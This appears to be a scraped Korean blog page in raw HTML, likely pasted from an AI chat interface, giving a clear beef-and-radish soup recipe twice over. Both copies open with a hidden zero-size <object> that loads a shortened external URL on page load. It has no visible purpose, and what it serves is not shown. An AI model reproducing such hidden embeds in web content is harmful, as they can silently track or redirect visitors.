<![CDATA[
<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4"></object>
<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:16">맑은 소고기 무국 끓이기</h2><p data-sourcepos="3:1-3:6"><strong>재료</strong></p><ul data-sourcepos="5:1-16:0">
<li data-sourcepos="5:1-5:20">소고기 (국거리, 목심) 300g</li>
<li data-sourcepos="6:1-6:8">무 500g</li>
<li data-sourcepos="7:1-7:7">대파 1대</li>
<li data-sourcepos="8:1-8:13">마늘 5쪽 (2큰술)</li>
<li data-sourcepos="9:1-9:8">물 2.5L</li>
<li data-sourcepos="10:1-10:9">국간장 2큰술</li>
<li data-sourcepos="11:1-11:8">소금 1큰술</li>
<li data-sourcepos="12:1-12:9">다시마 20g</li>
<li data-sourcepos="13:1-13:9">참기름 1큰술</li>
<li data-sourcepos="14:1-14:9">청주 50cc</li>
<li data-sourcepos="15:1-16:0">후추 약간</li>
</ul><p data-sourcepos="17:1-17:7"><strong>레시피</strong></p><ol data-sourcepos="19:1-30:0">
<li data-sourcepos="19:1-20:28">
<p data-sourcepos="19:4-20:28">소고기는 찬물에 30분 정도 담가 핏물을 빼줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2079154043="" class="ng-star-inserted"><div _ngcontent-ng-c2079154043="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2079154043="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2079154043="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_27bcd0c313542659&quot;,&quot;c_1cb761d7bf277aed&quot;,null,&quot;rc_42b85fab8efc90ae&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s:///iloveblacksesame/222959940833?viewType=pc"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2079154043="" class="image loaded" alt="찬물에 담가 핏물을 빼는 소고기 " src="https://lh3.googleusercontent.com/bip/ACo7QZ4l80NfuJQaNoAIfdfOkve27NrRKottNZSVVj26MkvCFNtsKe88e2oQZ3qw_KrAvTXHxw-H26IrMeMew0Z5mVRNubV9QrtyxE6ysc7luHDZfSac8zCOX7JTV49oaqKONNn0bEcxO__OZeOWKlJ9tVH24dMe7sogfPZVwfJ4BOpVty_ik8__2RMgn2MZjSsdxHiIFEgKNAFZ2__0n8Ap0CJqYyjsDdDZZtx5Kb-Ue_NzWpAWgTqhL2nkdILTrXwWEM7KaFHZC2qlNWrlsg1d8PEc-lsBnxqIn3m0Lk4vPNPfmcwsRF3LLtQ-70bfaj4ji1lVywEjyA=w250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2079154043="" rel="noopener" class="source ng-star-inserted" s:///iloveblacksesame/222959940833?viewType=pc" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_27bcd0c313542659&quot;,&quot;c_1cb761d7bf277aed&quot;,null,&quot;rc_42b85fab8efc90ae&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2079154043="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcTViklUu2Q6xWngyOg6zlKlvux97ddTBiMXDHaIs-c9b7PstL5WFmM-nu_BuAhiewe1c30sTXVMmMbzoJ4yN0bMcPSsO-ypXYs"><!----><span _ngcontent-ng-c2079154043="" class="label ellipsis gmat-caption"></span><span _ngcontent-ng-c2079154043="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2079154043="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 찬물에 담가 핏물을 빼는 소고기 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p>
</li>
<li data-sourcepos="21:1-22:0">
<p data-sourcepos="21:4-21:30">무는 껍질을 벗기고 3~4mm 두께로 썰어줍니다.</p>
</li>
<li data-sourcepos="23:1-23:24">
<p data-sourcepos="23:4-23:24">대파는 송송 썰고, 마늘은 다져줍니다.</p>
</li>
<li data-sourcepos="24:1-25:0">
<p data-sourcepos="24:4-24:26">냄비에 참기름을 두르고 소고기를 볶습니다.</p>
</li>
<li data-sourcepos="26:1-26:26">
<p data-sourcepos="26:4-26:26">소고기가 살짝 익으면 물을 넣고 끓입니다.</p>
</li>
<li data-sourcepos="27:1-27:49">
<p data-sourcepos="27:4-27:49">끓어오르면 거품을 제거하고 다시마, 국간장, 소금, 청주를 넣고 30분간 끓입니다.</p>
</li>
<li data-sourcepos="28:1-28:21">
<p data-sourcepos="28:4-28:21">무를 넣고 15분간 더 끓입니다.</p>
</li>
<li data-sourcepos="29:1-30:0">
<p data-sourcepos="29:4-29:43">마지막에 대파와 마늘을 넣고 후추로 간을 맞춘 후 불을 끄면 완성입니다.</p>
</li>
</ol><p data-sourcepos="31:1-31:5"><strong>팁</strong></p><ul data-sourcepos="33:1-36:0">
<li data-sourcepos="33:1-33:37">소고기를 볶기 전에 소금을 살짝 뿌려주면 더 부드럽게 끓습니다.</li>
<li data-sourcepos="34:1-34:31">무는 끓이기 전에 소금에 절여두면 싱싱하게 끓습니다.</li>
<li data-sourcepos="35:1-36:0">취향에 따라 김치, 깻잎, 쪽파 등을 추가해도 좋습니다.</li>
</ul><p data-sourcepos="37:1-37:6"><strong>리뷰</strong></p><p data-sourcepos="39:1-39:114">맑은 소고기 무국은 칼칼하고 시원한 국물 맛과 부드러운 소고기, 달콤한 무가 조화를 이루는 맛있는 국입니다. 끓이는 과정도 간단하고 재료도 많이 필요하지 않아서 집에서 간편하게 만들 수 있는 메뉴입니다.</p><p data-sourcepos="41:1-41:92">저는 이번에 소고기 대신 양지로 만들어봤는데, 양지의 풍미가 더해져서 더욱 맛있게 끓었습니다. 무는 얇게 썰어 넣으면 금방 익어서 싱싱한 식감을 즐길 수 있습니다.</p><p data-sourcepos="43:1-43:68">맑은 소고기 무국은 밥도둑으로도 좋은데, 밥과 함께 먹으면 더욱 맛있게 즐길 수 있습니다. 또한, 해장국으로도 좋습니다.</p><p data-sourcepos="45:1-45:64">만약 맑고 시원한 국물 맛의 국을 좋아하신다면 꼭 한 번 맑은 소고기 무국을 만들어보세요. 후회하지 않으실 거예요!</p><p data-sourcepos="47:1-47:6"><strong>주의</strong></p><ul data-sourcepos="49:1-52:0">
<li data-sourcepos="49:1-49:36">소고기를 너무 오래 끓이면 질겨질 수 있으니 주의해야 합니다.</li>
<li data-sourcepos="50:1-50:43">무는 익으면 금방 녹아서 부서질 수 있으니 끓이는 시간을 조절해야 합니다.</li>
<li data-sourcepos="51:1-52:0">국간장, 소금 등의 양은 취향에 따라 조절할 수 있습니다.</li>
</ul><p data-sourcepos="53:1-53:7"><strong></strong></p><ul data-sourcepos="55:1-58:26">
<li data-sourcepos="56:1-56:2"><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2079154043="" class="ng-star-inserted"><div _ngcontent-ng-c2079154043="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2079154043="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2079154043="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_27bcd0c313542659&quot;,&quot;c_1cb761d7bf277aed&quot;,null,&quot;rc_42b85fab8efc90ae&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s:///oprahyoon/222878184703"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2079154043="" class="image loaded" alt="찬물에 담가 핏물을 빼는 소고기 " src="https://lh3.googleusercontent.com/bip/ACo7QZ7KpR0f-_NgW8DAn46whWeQRoHX8GiSwsmdy_BaWP1F0QlZLILZ3myXEqDJo4hSBScWoh_lOB8xhyi5bGe3tMc_E2SsfokQIv8MiEw7CuenQjW3nq1PXjzLsOHMz_Mml7FEl49QSvgRZRmo8dRovydhliwnmKlvVmvFkLUW3gIaKCvfT-s604NPNzTBaEh-zDbZULZ0ghI5mHfRFKEAGySucPYpj-3EUDd5WElDAPU-ASS0BU3_Cck-nskHVgMRIauy4F2SB2QKsSrXNwqEc4K0yoDdHduizegMwIWapvG7sstJk5pSbm3F5dDJtKSj4Wc1JlA=w250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2079154043="" rel="noopener" class="source ng-star-inserted" s:///oprahyoon/222878184703" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_27bcd0c313542659&quot;,&quot;c_1cb761d7bf277aed&quot;,null,&quot;rc_42b85fab8efc90ae&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2079154043="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcQ-KZ_IQW4f8L4W7cwwlGTl85qFcme6Gb0Ip_PGSEX7cDyBoXlQ5aiwQrKZfPf4heWQ_PI-R4ttAvSs9DIBOsP2YJjBIu0m2a29_g"><!----><span _ngcontent-ng-c2079154043="" class="label ellipsis gmat-caption"></span><span _ngcontent-ng-c2079154043="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2079154043="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 찬물에 담가 핏물을 빼는 소고기 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></li>
<li data-sourcepos="57:1-57:2"><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2079154043="" class="ng-star-inserted"><div _ngcontent-ng-c2079154043="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2079154043="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2079154043="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_27bcd0c313542659&quot;,&quot;c_1cb761d7bf277aed&quot;,null,&quot;rc_42b85fab8efc90ae&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6869821"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2079154043="" class="image loaded" alt="완성된 맑은 소고기 무국 " src="https://lh3.googleusercontent.com/bip/ACo7QZ6XIqusGdC2RFrFkBSYjoN7QgactIHjUlroaS_yXgrDLuyJBqaQ0d7rKk3xSOdaKmSIpCWiUDvLxi2W7vJ7nRk7dQD8jH5NTmVhu5tx3vvq5FvV4J3iOBFx_-LXWSTuZonjFfD-w5fGA6xmSly5sTjZQYzvu_bMWEjhFSiQdIdm=w250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2079154043="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6869821" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_27bcd0c313542659&quot;,&quot;c_1cb761d7bf277aed&quot;,null,&quot;rc_42b85fab8efc90ae&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2079154043="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><!----><span _ngcontent-ng-c2079154043="" class="label ellipsis gmat-caption">.10000recipe.com</span><span _ngcontent-ng-c2079154043="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2079154043="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 완성된 맑은 소고기 무국 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></li>
</ul></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:16">맑은 소고기 무국 끓이기</h2><p data-sourcepos="3:1-3:6"><strong>재료</strong></p><ul data-sourcepos="5:1-16:0">
<li data-sourcepos="5:1-5:20">소고기 (국거리, 목심) 300g</li>
<li data-sourcepos="6:1-6:8">무 500g</li>
<li data-sourcepos="7:1-7:7">대파 1대</li>
<li data-sourcepos="8:1-8:13">마늘 5쪽 (2큰술)</li>
<li data-sourcepos="9:1-9:8">물 2.5L</li>
<li data-sourcepos="10:1-10:9">국간장 2큰술</li>
<li data-sourcepos="11:1-11:8">소금 1큰술</li>
<li data-sourcepos="12:1-12:9">다시마 20g</li>
<li data-sourcepos="13:1-13:9">참기름 1큰술</li>
<li data-sourcepos="14:1-14:9">청주 50cc</li>
<li data-sourcepos="15:1-16:0">후추 약간</li>
</ul><p data-sourcepos="17:1-17:7"><strong>레시피</strong></p><ol data-sourcepos="19:1-30:0">
<li data-sourcepos="19:1-20:28">
<p data-sourcepos="19:4-20:28">소고기는 찬물에 30분 정도 담가 핏물을 빼줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><single-image _nghost-ng-c2079154043="" class="ng-star-inserted"><div _ngcontent-ng-c2079154043="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2079154043="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2079154043="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c227843145="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_27bcd0c313542659","c_1cb761d7bf277aed",null,"rc_42b85fab8efc90ae",null,null,"ko",null,null,null,null,1,0]];mutable:true" s:///iloveblacksesame/222959940833?viewType=pc"><span _ngcontent-ng-c227843145="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2079154043="" class="image loaded" alt="찬물에 담가 핏물을 빼는 소고기 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Flh3.googleusercontent.com%2Fbip%2FACo7QZ4l80NfuJQaNoAIfdfOkve27NrRKottNZSVVj26MkvCFNtsKe88e2oQZ3qw_KrAvTXHxw-H26IrMeMew0Z5mVRNubV9QrtyxE6ysc7luHDZfSac8zCOX7JTV49oaqKONNn0bEcxO__OZeOWKlJ9tVH24dMe7sogfPZVwfJ4BOpVty_ik8__2RMgn2MZjSsdxHiIFEgKNAFZ2__0n8Ap0CJqYyjsDdDZZtx5Kb-Ue_NzWpAWgTqhL2nkdILTrXwWEM7KaFHZC2qlNWrlsg1d8PEc-lsBnxqIn3m0Lk4vPNPfmcwsRF3LLtQ-70bfaj4ji1lVywEjyA%3Dw250-h200-p"></span><span _ngcontent-ng-c227843145="" class="cdk-visually-hidden ng-star-inserted"></span><!----><!----></a><!----><!----><!----><!----><!----><!----><!----><!----><a _ngcontent-ng-c2079154043="" rel="noopener" class="source ng-star-inserted" s:///iloveblacksesame/222959940833?viewType=pc" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_27bcd0c313542659","c_1cb761d7bf277aed",null,"rc_42b85fab8efc90ae",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2079154043="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTViklUu2Q6xWngyOg6zlKlvux97ddTBiMXDHaIs-c9b7PstL5WFmM-nu_BuAhiewe1c30sTXVMmMbzoJ4yN0bMcPSsO-ypXYs"><!----><span _ngcontent-ng-c2079154043="" class="label ellipsis gmat-caption"></span><span _ngcontent-ng-c2079154043="" aria-label=""></span></a><!----></div><div _ngcontent-ng-c2079154043="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 찬물에 담가 핏물을 빼는 소고기 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></response-element></div></p>
</li>
<li data-sourcepos="21:1-22:0">
<p data-sourcepos="21:4-21:30">무는 껍질을 벗기고 3~4mm 두께로 썰어줍니다.</p>
</li>
<li data-sourcepos="23:1-23:24">
<p data-sourcepos="23:4-23:24">대파는 송송 썰고, 마늘은 다져줍니다.</p>
</li>
<li data-sourcepos="24:1-25:0">
<p data-sourcepos="24:4-24:26">냄비에 참기름을 두르고 소고기를 볶습니다.</p>
</li>
<li data-sourcepos="26:1-26:26">
<p data-sourcepos="26:4-26:26">소고기가 살짝 익으면 물을 넣고 끓입니다.</p>
</li>
<li data-sourcepos="27:1-27:49">
<p data-sourcepos="27:4-27:49">끓어오르면 거품을 제거하고 다시마, 국간장, 소금, 청주를 넣고 30분간 끓입니다.</p>
</li>
<li data-sourcepos="28:1-28:21">
<p data-sourcepos="28:4-28:21">무를 넣고 15분간 더 끓입니다.</p>
</li>
<li data-sourcepos="29:1-30:0">
<p data-sourcepos="29:4-29:43">마지막에 대파와 마늘을 넣고 후추로 간을 맞춘 후 불을 끄면 완성입니다.</p>
</li>
</ol><p data-sourcepos="31:1-31:5"><strong>팁</strong></p><ul data-sourcepos="33:1-36:0">
<li data-sourcepos="33:1-33:37">소고기를 볶기 전에 소금을 살짝 뿌려주면 더 부드럽게 끓습니다.</li>
<li data-sourcepos="34:1-34:31">무는 끓이기 전에 소금에 절여두면 싱싱하게 끓습니다.</li>
<li data-sourcepos="35:1-36:0">취향에 따라 김치, 깻잎, 쪽파 등을 추가해도 좋습니다.</li>
</ul><p data-sourcepos="37:1-37:6"><strong>리뷰</strong></p><p data-sourcepos="39:1-39:114">맑은 소고기 무국은 칼칼하고 시원한 국물 맛과 부드러운 소고기, 달콤한 무가 조화를 이루는 맛있는 국입니다. 끓이는 과정도 간단하고 재료도 많이 필요하지 않아서 집에서 간편하게 만들 수 있는 메뉴입니다.</p><p data-sourcepos="41:1-41:92">저는 이번에 소고기 대신 양지로 만들어봤는데, 양지의 풍미가 더해져서 더욱 맛있게 끓었습니다. 무는 얇게 썰어 넣으면 금방 익어서 싱싱한 식감을 즐길 수 있습니다.</p><p data-sourcepos="43:1-43:68">맑은 소고기 무국은 밥도둑으로도 좋은데, 밥과 함께 먹으면 더욱 맛있게 즐길 수 있습니다. 또한, 해장국으로도 좋습니다.</p><p data-sourcepos="45:1-45:64">만약 맑고 시원한 국물 맛의 국을 좋아하신다면 꼭 한 번 맑은 소고기 무국을 만들어보세요. 후회하지 않으실 거예요!</p><p data-sourcepos="47:1-47:6"><strong>주의</strong></p><ul data-sourcepos="49:1-52:0">
<li data-sourcepos="49:1-49:36">소고기를 너무 오래 끓이면 질겨질 수 있으니 주의해야 합니다.</li>
<li data-sourcepos="50:1-50:43">무는 익으면 금방 녹아서 부서질 수 있으니 끓이는 시간을 조절해야 합니다.</li>
<li data-sourcepos="51:1-52:0">국간장, 소금 등의 양은 취향에 따라 조절할 수 있습니다.</li>
</ul><p data-sourcepos="53:1-53:7"><strong></strong></p><ul data-sourcepos="55:1-58:26">
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맑은 쇠고기 무 국 끓이기 끓이는법
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